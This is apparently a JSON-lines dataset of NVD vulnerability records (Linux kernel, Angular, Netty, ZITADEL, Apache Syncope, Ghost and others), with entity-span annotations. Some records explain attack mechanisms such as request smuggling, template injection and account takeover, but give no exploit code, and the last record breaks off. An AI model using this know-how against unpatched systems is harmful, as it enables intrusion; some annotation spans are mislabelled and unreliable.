{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix out-of-bounds access in sysfs attribute read/write\n\nSome f2fs sysfs attributes suffer from out-of-bounds memory access and\nincorrect handling of integer values whose size is not 4 bytes.\n\nFor example:\nvm:~# echo 65537 > /sys/fs/f2fs/vde/carve_out\nvm:~# cat /sys/fs/f2fs/vde/carve_out\n65537\nvm:~# echo 4294967297 > /sys/fs/f2fs/vde/atgc_age_threshold\nvm:~# cat /sys/fs/f2fs/vde/atgc_age_threshold\n1\n\ncarve_out maps to {struct f2fs_sb_info}->carve_out, which is a 8-bit\ninteger. However, the sysfs interface allows setting it to a value\nlarger than 255, resulting in an out-of-range update.\n\natgc_age_threshold maps to {struct atgc_management}->age_threshold,\nwhich is a 64-bit integer, but its sysfs interface cannot correctly set\nvalues larger than UINT_MAX.\n\nThe root causes are:\n1. __sbi_store() treats all default values as unsigned int, which\nprevents updating integers larger than 4 bytes and causes out-of-bounds\nwrites for integers smaller than 4 bytes.\n\n2. f2fs_sbi_show() also assumes all default values are unsigned int,\nleading to out-of-bounds reads and incorrect access to integers larger\nthan 4 bytes.\n\nThis patch introduces {struct f2fs_attr}->size to record the actual size\nof the integer associated with each sysfs attribute. With this\ninformation, sysfs read and write operations can correctly access and\nupdate values according to their real data size, avoiding memory\ncorruption and truncation.", "spans": {"FILEPATH: /sys/fs/f2fs/vde/carve_out": [[299, 325], [336, 362]], "FILEPATH: /sys/fs/f2fs/vde/atgc_age_threshold": [[393, 428], [439, 474]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out-of-bounds access": [[79, 99]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23235"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: storvsc: Remove WQ_MEM_RECLAIM from storvsc_error_wq\n\nstorvsc_error_wq workqueue should not be marked as WQ_MEM_RECLAIM as it\ndoesn't need to make forward progress under memory pressure.  Marking this\nworkqueue as WQ_MEM_RECLAIM may cause deadlock while flushing a\nnon-WQ_MEM_RECLAIM workqueue.  In the current state it causes the following\nwarning:\n\n[   14.506347] ------------[ cut here ]------------\n[   14.506354] workqueue: WQ_MEM_RECLAIM storvsc_error_wq_0:storvsc_remove_lun is flushing !WQ_MEM_RECLAIM events_freezable_power_:disk_events_workfn\n[   14.506360] WARNING: CPU: 0 PID: 8 at <-snip->kernel/workqueue.c:2623 check_flush_dependency+0xb5/0x130\n[   14.506390] CPU: 0 PID: 8 Comm: kworker/u4:0 Not tainted 5.4.0-1086-azure #91~18.04.1-Ubuntu\n[   14.506391] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 05/09/2022\n[   14.506393] Workqueue: storvsc_error_wq_0 storvsc_remove_lun\n[   14.506395] RIP: 0010:check_flush_dependency+0xb5/0x130\n\t\t<-snip->\n[   14.506408] Call Trace:\n[   14.506412]  __flush_work+0xf1/0x1c0\n[   14.506414]  __cancel_work_timer+0x12f/0x1b0\n[   14.506417]  ? kernfs_put+0xf0/0x190\n[   14.506418]  cancel_delayed_work_sync+0x13/0x20\n[   14.506420]  disk_block_events+0x78/0x80\n[   14.506421]  del_gendisk+0x3d/0x2f0\n[   14.506423]  sr_remove+0x28/0x70\n[   14.506427]  device_release_driver_internal+0xef/0x1c0\n[   14.506428]  device_release_driver+0x12/0x20\n[   14.506429]  bus_remove_device+0xe1/0x150\n[   14.506431]  device_del+0x167/0x380\n[   14.506432]  __scsi_remove_device+0x11d/0x150\n[   14.506433]  scsi_remove_device+0x26/0x40\n[   14.506434]  storvsc_remove_lun+0x40/0x60\n[   14.506436]  process_one_work+0x209/0x400\n[   14.506437]  worker_thread+0x34/0x400\n[   14.506439]  kthread+0x121/0x140\n[   14.506440]  ? process_one_work+0x400/0x400\n[   14.506441]  ? kthread_park+0x90/0x90\n[   14.506443]  ret_from_fork+0x35/0x40\n[   14.506445] ---[ end trace 2d9633159fdc6ee7 ]---", "spans": {"FILEPATH: /09/2022": [[949, 957]], "FILEPATH: workqueue.c": [[684, 695]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Microsoft": [[861, 870]], "ORGANIZATION: Ubuntu": [[824, 830]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49986"}}
{"text": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Angular uses a DI container (the \"platform injector\") to hold request-specific state during server-side rendering. For historical reasons, the container was stored as a JavaScript module-scoped global variable. When multiple requests are processed concurrently, they could inadvertently share or overwrite the global injector state. In practical terms, this can lead to one request responding with data meant for a completely different request, leaking data or tokens included on the rendered page or in response headers. As long as an attacker had network access to send any traffic that received a rendered response, they may have been able to send a large number of requests and then inspect the responses for information leaks. The APIs `bootstrapApplication`, `getPlatform`, and `destroyPlatform` were vulnerable and required SSR-only breaking changes.\nThe issue has been patched in all active release lines as well as in the v21 prerelease. Patched packages include `@angular/platform-server` 21.0.0-next.3, 20.3.0, 19.2.15, and 18.2.14 and `@angular/ssr` 21.0.0-next.3, 20.3.0, 19.2.16, and 18.2.21. Several workarounds are available. Disable SSR via Server Routes or builder options, remove any asynchronous behavior from custom `bootstrap` functions, remove uses of `getPlatform()` in application code, and/or ensure that the server build defines `ngJitMode` as false.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59052"}}
{"text": "Netty is an open-source, asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In Netty (io.netty:netty-codec-http2) before version 4.1.60.Final there is a vulnerability that enables request smuggling. If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. For an example attack refer to the linked GitHub Advisory. Users are only affected if all of this is true: `HTTP2MultiplexCodec` or `Http2FrameCodec` is used, `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects, and these HTTP/1.1 objects are forwarded to another remote peer. This has been patched in 4.1.60.Final As a workaround, the user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.", "spans": {"ORGANIZATION: GitHub": [[1186, 1192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21295"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: netpoll: fix incorrect refcount handling causing incorrect cleanup\n\ncommit efa95b01da18 (\"netpoll: fix use after free\") incorrectly\nignored the refcount and prematurely set dev->npinfo to NULL during\nnetpoll cleanup, leading to improper behavior and memory leaks.\n\nScenario causing lack of proper cleanup:\n\n1) A netpoll is associated with a NIC (e.g., eth0) and netdev->npinfo is\n   allocated, and refcnt = 1\n   - Keep in mind that npinfo is shared among all netpoll instances. In\n     this case, there is just one.\n\n2) Another netpoll is also associated with the same NIC and\n   npinfo->refcnt += 1.\n   - Now dev->npinfo->refcnt = 2;\n   - There is just one npinfo associated to the netdev.\n\n3) When the first netpolls goes to clean up:\n   - The first cleanup succeeds and clears np->dev->npinfo, ignoring\n     refcnt.\n     - It basically calls `RCU_INIT_POINTER(np->dev->npinfo, NULL);`\n   - Set dev->npinfo = NULL, without proper cleanup\n   - No ->ndo_netpoll_cleanup() is either called\n\n4) Now the second target tries to clean up\n   - The second cleanup fails because np->dev->npinfo is already NULL.\n     * In this case, ops->ndo_netpoll_cleanup() was never called, and\n       the skb pool is not cleaned as well (for the second netpoll\n       instance)\n  - This leaks npinfo and skbpool skbs, which is clearly reported by\n    kmemleak.\n\nRevert commit efa95b01da18 (\"netpoll: fix use after free\") and adds\nclarifying comments emphasizing that npinfo cleanup should only happen\nonce the refcount reaches zero, ensuring stable and correct netpoll\nbehavior.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use after free": [[177, 191], [1458, 1472]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68245"}}
{"text": "ZITADEL is an open source identity management platform. Starting in version 2.50.0 and prior to versions 2.71.19, 3.4.4, and 4.6.6, a vulnerability in ZITADEL's federation process allowed auto-linking users from external identity providers to existing users in ZITADEL even if the corresponding IdP was not active or if the organization did not allow federated authentication. This vulnerability stems from the platform's failure to correctly check or enforce an organization's specific security settings during the authentication flow. An Organization Administrator can explicitly disable an IdP or disallow federation, but this setting was not being honored during the auto-linking process. This allowed an unauthenticated attacker to initiate a login using an IdP that should have been disabled for that organization. The platform would incorrectly validate the login and, based on a matching criteria, link the attacker's external identity to an existing internal user account. This may result in a full Account Takeover, bypassing the organization's mandated security controls. Note that accounts with MFA enabled can not be taken over by this attack. Also note that only IdPs create on an instance level would allow this to work. IdPs registered on another organization would always be denied in the (auto-)linking process. Versions 4.6.6, 3.4.4, and 2.71.19 resolve the issue by correctly validating the organization's login policy before auto-linking an external user. No known workarounds are available aside from upgrading.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64717"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_devcd_dump: fix out-of-bounds via dev_coredumpv\n\nCurrently both dev_coredumpv and skb_put_data in hci_devcd_dump use\nhdev->dump.head. However, dev_coredumpv can free the buffer. From\ndev_coredumpm_timeout documentation, which is used by dev_coredumpv:\n\n    > Creates a new device coredump for the given device. If a previous one hasn't\n    > been read yet, the new coredump is discarded. The data lifetime is determined\n    > by the device coredump framework and when it is no longer needed the @free\n    > function will be called to free the data.\n\nIf the data has not been read by the userspace yet, dev_coredumpv will\ndiscard new buffer, freeing hdev->dump.head. This leads to\nvmalloc-out-of-bounds error when skb_put_data tries to access\nhdev->dump.head.\n\nA crash report from syzbot illustrates this:\n\n    ==================================================================\n    BUG: KASAN: vmalloc-out-of-bounds in skb_put_data\n    include/linux/skbuff.h:2752 [inline]\n    BUG: KASAN: vmalloc-out-of-bounds in hci_devcd_dump+0x142/0x240\n    net/bluetooth/coredump.c:258\n    Read of size 140 at addr ffffc90004ed5000 by task kworker/u9:2/5844\n\n    CPU: 1 UID: 0 PID: 5844 Comm: kworker/u9:2 Not tainted\n    6.14.0-syzkaller-10892-g4e82c87058f4 #0 PREEMPT(full)\n    Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS\n    Google 02/12/2025\n    Workqueue: hci0 hci_devcd_timeout\n    Call Trace:\n     <TASK>\n     __dump_stack lib/dump_stack.c:94 [inline]\n     dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n     print_address_description mm/kasan/report.c:408 [inline]\n     print_report+0xc3/0x670 mm/kasan/report.c:521\n     kasan_report+0xe0/0x110 mm/kasan/report.c:634\n     check_region_inline mm/kasan/generic.c:183 [inline]\n     kasan_check_range+0xef/0x1a0 mm/kasan/generic.c:189\n     __asan_memcpy+0x23/0x60 mm/kasan/shadow.c:105\n     skb_put_data include/linux/skbuff.h:2752 [inline]\n     hci_devcd_dump+0x142/0x240 net/bluetooth/coredump.c:258\n     hci_devcd_timeout+0xb5/0x2e0 net/bluetooth/coredump.c:413\n     process_one_work+0x9cc/0x1b70 kernel/workqueue.c:3238\n     process_scheduled_works kernel/workqueue.c:3319 [inline]\n     worker_thread+0x6c8/0xf10 kernel/workqueue.c:3400\n     kthread+0x3c2/0x780 kernel/kthread.c:464\n     ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:153\n     ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n     </TASK>\n\n    The buggy address ffffc90004ed5000 belongs to a vmalloc virtual mapping\n    Memory state around the buggy address:\n     ffffc90004ed4f00: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n     ffffc90004ed4f80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n    >ffffc90004ed5000: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n                       ^\n     ffffc90004ed5080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n     ffffc90004ed5100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n    ==================================================================\n\nTo avoid this issue, reorder dev_coredumpv to be called after\nskb_put_data that does not free the data.", "spans": {"FILEPATH: /linux/skbuff.h": [[1026, 1041], [1965, 1980]], "FILEPATH: /bluetooth/coredump.c": [[1131, 1152], [2030, 2051], [2093, 2114]], "FILEPATH: /12/2025": [[1436, 1444]], "FILEPATH: /kasan/report.c": [[1644, 1659], [1704, 1719], [1755, 1770]], "FILEPATH: /kasan/generic.c": [[1802, 1818], [1868, 1884]], "FILEPATH: /kasan/shadow.c": [[1920, 1935]], "FILEPATH: /x86/kernel/process.c": [[2374, 2395]], "FILEPATH: /x86/entry/entry_64.S": [[2437, 2458]], "FILEPATH: dump_stack.c": [[1533, 1545], [1594, 1606]], "FILEPATH: workqueue.c": [[2161, 2172], [2214, 2225], [2278, 2289]], "FILEPATH: kthread.c": [[2327, 2336]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1366, 1372], [1373, 1379], [1395, 1401], [1427, 1433]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38592"}}
{"text": "Insertion of Sensitive Information into Log File vulnerability in Hitachi Virtual Storage Platform, Hitachi Virtual Storage Platform VP9500, Hitachi Virtual Storage Platform G1000, G1500, Hitachi Virtual Storage Platform F1500, Hitachi Virtual Storage Platform 5100, 5500, 5100H, 5500H, Hitachi Virtual Storage Platform 5200, 5600, 5200H, 5600H, Hitachi Unified Storage VM, Hitachi Virtual Storage Platform G100, G200, G400, G600, G800, Hitachi Virtual Storage Platform F400, F600, F800, Hitachi Virtual Storage Platform G130, G150, G350, G370, G700, G900, Hitachi Virtual Storage Platform F350, F370, F700, F900, Hitachi Virtual Storage Platform E390, E590, E790, E990, E1090, E390H, E590H, E790H, E1090H allows \n\nlocal users to gain sensitive information.This issue affects Hitachi Virtual Storage Platform: before DKCMAIN Ver. 70-06-74-00/00, SVP Ver. 70-06-58/00; Hitachi Virtual Storage Platform VP9500: before DKCMAIN Ver. 70-06-74-00/00, SVP Ver. 70-06-58/00; Hitachi Virtual Storage Platform G1000, G1500: before DKCMAIN Ver. 80-06-92-00/00, SVP Ver. 80-06-87/00; Hitachi Virtual Storage Platform F1500: before DKCMAIN Ver. 80-06-92-00/00, SVP Ver. 80-06-87/00; Hitachi Virtual Storage Platform 5100, 5500,5100H, 5500H: before DKCMAIN Ver. 90-08-81-00/00, SVP Ver. 90-08-81/00, before DKCMAIN Ver. 90-08-62-00/00, SVP Ver. 90-08-62/00, before DKCMAIN Ver. 90-08-43-00/00, SVP Ver. 90-08-43/00; Hitachi Virtual Storage Platform 5200, 5600,5200H, 5600H: before DKCMAIN Ver. 90-08-81-00/00, SVP Ver. 90-08-81/00, before DKCMAIN Ver. 90-08-62-00/00, SVP Ver. 90-08-62/00, before DKCMAIN Ver. 90-08-43-00/00, SVP Ver. 90-08-43/00; Hitachi Unified Storage VM: before DKCMAIN Ver. 73-03-75-X0/00, SVP Ver. 73-03-74/00, before DKCMAIN Ver. 73(75)-03-75-X0/00, SVP Ver. 73(75)-03-74/00; Hitachi Virtual Storage Platform G100, G200, G400, G600, G800: before DKCMAIN Ver. 83-06-19-X0/00, SVP Ver. 83-06-20-X0/00, before DKCMAIN Ver. 83-05-47-X0/00, SVP Ver. 83-05-51-X0/00; Hitachi Virtual Storage Platform F400, F600, F800: before DKCMAIN Ver. 83-06-19-X0/00, SVP Ver. 83-06-20-X0/00, before DKCMAIN Ver. 83-05-47-X0/00, SVP Ver. 83-05-51-X0/00; Hitachi Virtual Storage Platform G130, G150, G350, G370, G700, G900: before DKCMAIN Ver. 88-08-09-XX/00, SVP Ver. 88-08-11-X0/02; Hitachi Virtual Storage Platform F350, F370, F700, F900: before DKCMAIN Ver. 88-08-09-XX/00, SVP Ver. 88-08-11-X0/02; Hitachi Virtual Storage Platform E390, E590, E790, E990, E1090, E390H, E590H, E790H, E1090H: before DKCMAIN Ver. 93-06-81-X0/00, SVP Ver. 93-06-81-X0/00, before DKCMAIN Ver. 93-06-62-X0/00, SVP Ver. 93-06-62-X0/00, before DKCMAIN Ver. 93-06-43-X0/00, SVP Ver. 93-06-43-X0/00.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36407"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-el7-0.9.8.891. Authentication is not required to exploit this vulnerability. The specific flaw exists within loader_ajax.php. When parsing the line parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9259.", "spans": {"IP_ADDRESS: 0.9.8.891": [[123, 132]], "FILEPATH: loader_ajax.php": [[228, 243]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15420"}}
{"text": "Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Call Phone Number Page). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data. CVSS 3.0 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [306, 312], [454, 460], [650, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2597"}}
{"text": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev98, the set_session_cookie_secure before_request handler in src/pyload/webui/app/__init__.py reads the X-Forwarded-Proto header from any HTTP request without validating that the request originates from a trusted proxy, then mutates the global Flask configuration SESSION_COOKIE_SECURE on every request. Because pyLoad uses the multi-threaded Cheroot WSGI server (request_queue_size=512), this creates a race condition where an attacker's request can influence the Secure flag on other users' session cookies — either downgrading cookie security behind a TLS proxy or causing a session denial-of-service on plain HTTP deployments. This vulnerability is fixed in 0.5.0b3.dev98.", "spans": {"FILEPATH: /pyload/webui/app/__init__.py": [[152, 181]], "SYSTEM: Python": [[61, 67]], "VULNERABILITY: denial-of-service": [[674, 691]], "VULNERABILITY: race condition": [[492, 506]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40594"}}
{"text": "An Uncontrolled Resource Consumption vulnerability in TCP processing on the Routing Engine (RE) of Juniper Networks Junos OS allows an unauthenticated network-based attacker to send crafted TCP packets destined to the device, resulting in an MBUF leak that ultimately leads to a Denial of Service (DoS). The system does not recover automatically and must be manually restarted to restore service. This issue occurs when crafted TCP packets are sent directly to a configured IPv4 or IPv6 interface on the device. Transit traffic will not trigger this issue. MBUF usage can be monitored through the use of the 'show system buffers' command. For example: user@junos> show system buffers | refresh 5 4054/566/4620 mbufs in use (current/cache/total) ... 4089/531/4620 mbufs in use (current/cache/total) ... 4151/589/4740 mbufs in use (current/cache/total) ... 4213/527/4740 mbufs in use (current/cache/total) This issue affects Juniper Networks Junos OS: 12.3 version 12.3R12-S19 and later versions; 15.1 version 15.1R7-S10 and later versions; 17.3 version 17.3R3-S12 and later versions; 18.4 version 18.4R3-S9 and later versions; 19.1 version 19.1R3-S7 and later versions; 19.2 version 19.2R3-S3 and later versions; 19.3 version 19.3R2-S7, 19.3R3-S3 and later versions prior to 19.3R3-S7; 19.4 version 19.4R2-S7, 19.4R3-S5 and later versions prior to 19.4R3-S10; 20.1 version 20.1R3-S1 and later versions; 20.2 version 20.2R3-S2 and later versions prior to 20.2R3-S6; 20.3 version 20.3R3-S1 and later versions prior to 20.3R3-S6; 20.4 version 20.4R2-S2, 20.4R3 and later versions prior to 20.4R3-S5; 21.1 version 21.1R2 and later versions prior to 21.1R3-S4; 21.2 version 21.2R1-S1, 21.2R2 and later versions prior to 21.2R3-S3; 21.3 versions prior to 21.3R3-S2; 21.4 versions prior to 21.4R3; 22.1 versions prior to 22.1R2-S1, 22.1R3; 22.2 versions prior to 22.2R1-S2, 22.2R2; 22.3 versions prior to 22.3R1-S1, 22.3R2.", "spans": {"FILEPATH: /566/4620": [[700, 709]], "FILEPATH: /cache/total": [[731, 743], [784, 796], [837, 849], [890, 902]], "FILEPATH: /531/4620": [[753, 762]], "FILEPATH: /589/4740": [[806, 815]], "FILEPATH: /527/4740": [[859, 868]], "ORGANIZATION: Juniper": [[99, 106], [923, 930]], "VULNERABILITY: Uncontrolled Resource Consumption": [[3, 36]], "VULNERABILITY: Denial of Service": [[279, 296]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22396"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: convert workqueues to unbound\n\nWhen a workqueue is created with `WQ_UNBOUND`, its work items are\nserved by special worker-pools, whose host workers are not bound to\nany specific CPU. In the default configuration (i.e. when\n`queue_delayed_work` and friends do not specify which CPU to run the\nwork item on), `WQ_UNBOUND` allows the work item to be executed on any\nCPU in the same node of the CPU it was enqueued on. While this\nsolution potentially sacrifices locality, it avoids contention with\nother processes that might dominate the CPU time of the processor the\nwork item was scheduled on.\n\nThis is not just a theoretical problem: in a particular scenario\nmisconfigured process was hogging most of the time from CPU0, leaving\nless than 0.5% of its CPU time to the kworker. The IDPF workqueues\nthat were using the kworker on CPU0 suffered large completion delays\nas a result, causing performance degradation, timeouts and eventual\nsystem crash.\n\n\n* I have also run a manual test to gauge the performance\n  improvement. The test consists of an antagonist process\n  (`./stress --cpu 2`) consuming as much of CPU 0 as possible. This\n  process is run under `taskset 01` to bind it to CPU0, and its\n  priority is changed with `chrt -pQ 9900 10000 ${pid}` and\n  `renice -n -20 ${pid}` after start.\n\n  Then, the IDPF driver is forced to prefer CPU0 by editing all calls\n  to `queue_delayed_work`, `mod_delayed_work`, etc... to use CPU 0.\n\n  Finally, `ktraces` for the workqueue events are collected.\n\n  Without the current patch, the antagonist process can force\n  arbitrary delays between `workqueue_queue_work` and\n  `workqueue_execute_start`, that in my tests were as high as\n  `30ms`. With the current patch applied, the workqueue can be\n  migrated to another unloaded CPU in the same node, and, keeping\n  everything else equal, the maximum delay I could see was `6us`.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-58057"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_qca: Fix driver shutdown on closed serdev\n\nThe driver shutdown callback (which sends EDL_SOC_RESET to the device\nover serdev) should not be invoked when HCI device is not open (e.g. if\nhci_dev_open_sync() failed), because the serdev and its TTY are not open\neither.  Also skip this step if device is powered off\n(qca_power_shutdown()).\n\nThe shutdown callback causes use-after-free during system reboot with\nQualcomm Atheros Bluetooth:\n\n  Unable to handle kernel paging request at virtual address\n  0072662f67726fd7\n  ...\n  CPU: 6 PID: 1 Comm: systemd-shutdow Tainted: G        W\n  6.1.0-rt5-00325-g8a5f56bcfcca #8\n  Hardware name: Qualcomm Technologies, Inc. Robotics RB5 (DT)\n  Call trace:\n   tty_driver_flush_buffer+0x4/0x30\n   serdev_device_write_flush+0x24/0x34\n   qca_serdev_shutdown+0x80/0x130 [hci_uart]\n   device_shutdown+0x15c/0x260\n   kernel_restart+0x48/0xac\n\nKASAN report:\n\n  BUG: KASAN: use-after-free in tty_driver_flush_buffer+0x1c/0x50\n  Read of size 8 at addr ffff16270c2e0018 by task systemd-shutdow/1\n\n  CPU: 7 PID: 1 Comm: systemd-shutdow Not tainted\n  6.1.0-next-20221220-00014-gb85aaf97fb01-dirty #28\n  Hardware name: Qualcomm Technologies, Inc. Robotics RB5 (DT)\n  Call trace:\n   dump_backtrace.part.0+0xdc/0xf0\n   show_stack+0x18/0x30\n   dump_stack_lvl+0x68/0x84\n   print_report+0x188/0x488\n   kasan_report+0xa4/0xf0\n   __asan_load8+0x80/0xac\n   tty_driver_flush_buffer+0x1c/0x50\n   ttyport_write_flush+0x34/0x44\n   serdev_device_write_flush+0x48/0x60\n   qca_serdev_shutdown+0x124/0x274\n   device_shutdown+0x1e8/0x350\n   kernel_restart+0x48/0xb0\n   __do_sys_reboot+0x244/0x2d0\n   __arm64_sys_reboot+0x54/0x70\n   invoke_syscall+0x60/0x190\n   el0_svc_common.constprop.0+0x7c/0x160\n   do_el0_svc+0x44/0xf0\n   el0_svc+0x2c/0x6c\n   el0t_64_sync_handler+0xbc/0x140\n   el0t_64_sync+0x190/0x194", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[627, 634], [1086, 1093], [1127, 1134]], "ORGANIZATION: Qualcomm": [[491, 499], [715, 723], [1224, 1232]], "VULNERABILITY: use-after-free": [[450, 464], [984, 998]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48878"}}
{"text": "The REST API component of TIBCO Software Inc.'s TIBCO JasperReports Server, TIBCO JasperReports Server - Community Edition, TIBCO JasperReports Server - Developer Edition, TIBCO JasperReports Server for AWS Marketplace, TIBCO JasperReports Server for ActiveMatrix BPM, and TIBCO JasperReports Server for Microsoft Azure contains difficult to exploit Reflected Cross Site Scripting (XSS) vulnerabilities that allow a low privileged attacker with network access to execute scripts targeting the affected system or the victim's local system. Affected releases are TIBCO Software Inc.'s TIBCO JasperReports Server: versions 8.0.1 and below, TIBCO JasperReports Server - Community Edition: versions 8.0.1 and below, TIBCO JasperReports Server - Developer Edition: versions 8.0.0 and below, TIBCO JasperReports Server for AWS Marketplace: versions 8.0.1 and below, TIBCO JasperReports Server for ActiveMatrix BPM: versions 7.9.2 and below, and TIBCO JasperReports Server for Microsoft Azure: versions 8.0.1 and below.", "spans": {"ORGANIZATION: Microsoft": [[304, 313], [969, 978]], "ORGANIZATION: AWS": [[203, 206], [816, 819]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22773"}}
{"text": "A Server-Side Template Injection was identified in Apache Syncope prior to 2.1.6 enabling attackers to inject arbitrary Java EL expressions, leading to an unauthenticated Remote Code Execution (RCE) vulnerability. Apache Syncope uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, they support different types of interpolation, including Java EL expressions. Therefore, if an attacker can inject arbitrary data in the error message template being passed, they will be able to run arbitrary Java code.", "spans": {"SYSTEM: Java": [[120, 124], [234, 238], [410, 414], [562, 566]], "ORGANIZATION: Apache": [[51, 57], [214, 220]], "VULNERABILITY: Server-Side Template Injection": [[2, 32]], "VULNERABILITY: Remote Code Execution": [[171, 192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1959"}}
{"text": "Ghost is a Node.js CMS. An unused endpoint added during the development of 4.0.0 has left sites vulnerable to untrusted users gaining access to Ghost Admin. Attackers can gain access by getting logged in users to click a link containing malicious code. Users do not need to enter credentials and may not know they've visited a malicious site. Ghost(Pro) has already been patched. We can find no evidence that the issue was exploited on Ghost(Pro) prior to the patch being added. Self-hosters are impacted if running Ghost a version between 4.0.0 and 4.3.2. Immediate action should be taken to secure your site. The issue has been fixed in 4.3.3, all 4.x sites should upgrade as soon as possible. As the endpoint is unused, the patch simply removes it. As a workaround blocking access to /ghost/preview can also mitigate the issue.", "spans": {"FILEPATH: /ghost/preview": [[787, 801]], "FILEPATH: Node.js": [[11, 18]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29484"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: can: j1939: Initialize unused data in j1939_send_one()\n\nsyzbot reported kernel-infoleak in raw_recvmsg() [1]. j1939_send_one()\ncreates full frame including unused data, but it doesn't initialize\nit. This causes the kernel-infoleak issue. Fix this by initializing\nunused data.\n\n[1]\nBUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline]\nBUG: KMSAN: kernel-infoleak in copy_to_user_iter lib/iov_iter.c:24 [inline]\nBUG: KMSAN: kernel-infoleak in iterate_ubuf include/linux/iov_iter.h:29 [inline]\nBUG: KMSAN: kernel-infoleak in iterate_and_advance2 include/linux/iov_iter.h:245 [inline]\nBUG: KMSAN: kernel-infoleak in iterate_and_advance include/linux/iov_iter.h:271 [inline]\nBUG: KMSAN: kernel-infoleak in _copy_to_iter+0x366/0x2520 lib/iov_iter.c:185\n instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n copy_to_user_iter lib/iov_iter.c:24 [inline]\n iterate_ubuf include/linux/iov_iter.h:29 [inline]\n iterate_and_advance2 include/linux/iov_iter.h:245 [inline]\n iterate_and_advance include/linux/iov_iter.h:271 [inline]\n _copy_to_iter+0x366/0x2520 lib/iov_iter.c:185\n copy_to_iter include/linux/uio.h:196 [inline]\n memcpy_to_msg include/linux/skbuff.h:4113 [inline]\n raw_recvmsg+0x2b8/0x9e0 net/can/raw.c:1008\n sock_recvmsg_nosec net/socket.c:1046 [inline]\n sock_recvmsg+0x2c4/0x340 net/socket.c:1068\n ____sys_recvmsg+0x18a/0x620 net/socket.c:2803\n ___sys_recvmsg+0x223/0x840 net/socket.c:2845\n do_recvmmsg+0x4fc/0xfd0 net/socket.c:2939\n __sys_recvmmsg net/socket.c:3018 [inline]\n 